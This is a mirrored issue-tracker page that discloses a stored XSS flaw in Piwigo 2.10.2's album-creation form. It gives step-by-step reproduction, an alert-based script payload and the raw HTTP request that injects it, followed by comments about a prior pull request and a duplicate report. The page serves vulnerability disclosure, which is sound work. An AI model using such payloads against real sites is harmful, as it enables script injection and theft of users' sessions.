adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-11-03 07:22:22 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Stored XSS vulnerability found on creating Albums option #1110

New Issue
Open
opened 2026-10-05 00:31:38 +02:00 by adam · 2 comments
adam commented 2026-10-05 00:31:38 +02:00
Owner
Copy link
Copy source

Description

A Stored XSS was found in Piwigo 2.10.2 when creating a new photo album. The XSS is reflected in various endpoints of the web application, such as the main page and the Manage section of Albums.

Stored XSS occurs when a malicious script is injected directly into a vulnerable web application.

Steps To Reproduce

  1. Login and access the administrator panel (/admin.php)
  2. In the vertical menu, click on Albums -> Manage
  3. Press the button that says "create a new album"
  4. In the input of "Album name" enter the following payload: <script>alert(document.location)</script>
  5. Press the "Create" button and the alert will be displayed

Impact

An attacker can execute arbitrary JavaScript code in the victim's browser, an example of an attack would be to steal users cookies.

Request

POST /piwigo/admin.php?page=cat_list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: https://localhost
DNT: 1
Connection: close
Referer: https://localhost/piwigo/admin.php?page=cat_list
Cookie: phavsz=1461x793x1.2; pwg_id=83520dfa9c3701fe6d3530b52d0c74fd; __cfduid=debbf939b4bbaba7d59417eb2d9c5b0e11609899072
Upgrade-Insecure-Requests: 1

pwg_token=4263dfb7b56f80a9c3512e0280801624&virtual_name=%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&submitAdd=

Attachments

**Description** A Stored XSS was found in Piwigo 2.10.2 when creating a new photo album. The XSS is reflected in various endpoints of the web application, such as the main page and the Manage section of Albums. Stored XSS occurs when a malicious script is injected directly into a vulnerable web application. **Steps To Reproduce** 1. Login and access the administrator panel (/admin.php) 2. In the vertical menu, click on Albums -> Manage 3. Press the button that says "create a new album" 4. In the input of "Album name" enter the following payload: `<script>alert(document.location)</script>` 5. Press the "Create" button and the alert will be displayed **Impact** An attacker can execute arbitrary JavaScript code in the victim's browser, an example of an attack would be to steal users cookies. **Request** ``` POST /piwigo/admin.php?page=cat_list HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 122 Origin: https://localhost DNT: 1 Connection: close Referer: https://localhost/piwigo/admin.php?page=cat_list Cookie: phavsz=1461x793x1.2; pwg_id=83520dfa9c3701fe6d3530b52d0c74fd; __cfduid=debbf939b4bbaba7d59417eb2d9c5b0e11609899072 Upgrade-Insecure-Requests: 1 pwg_token=4263dfb7b56f80a9c3512e0280801624&virtual_name=%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&submitAdd= ``` **Attachments** ![](https://i.imgur.com/wdek6UQ.png) ![](https://i.imgur.com/G2Ei8nB.png) <!-- github-sync-id:779939570 -->
adam commented 2026-10-05 00:31:39 +02:00
Author
Owner
Copy link
Copy source

Already created a PR for this a month ago.

Pull Request

Got no response from the developer(s) yet.

Already created a PR for this a month ago. [Pull Request](https://github.com/Piwigo/Piwigo/pull/1268) Got no response from the developer(s) yet. <!-- github-comment-id:756881187 -->
adam commented 2026-10-05 00:31:40 +02:00
Author
Owner
Copy link
Copy source

Already created a PR for this a month ago.

Pull Request

Got no response from the developer(s) yet.

Yes, I have already seen that it is duplicated. Sorry for that.

User T-pod posted it on Oct 13, 2019

> > > Already created a PR for this a month ago. > > [Pull Request](https://github.com/Piwigo/Piwigo/pull/1268) > > Got no response from the developer(s) yet. Yes, I have already seen that it is duplicated. Sorry for that. [User T-pod posted it on Oct 13, 2019](https://github.com/Piwigo/Piwigo/issues/1094) <!-- github-comment-id:757560858 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1110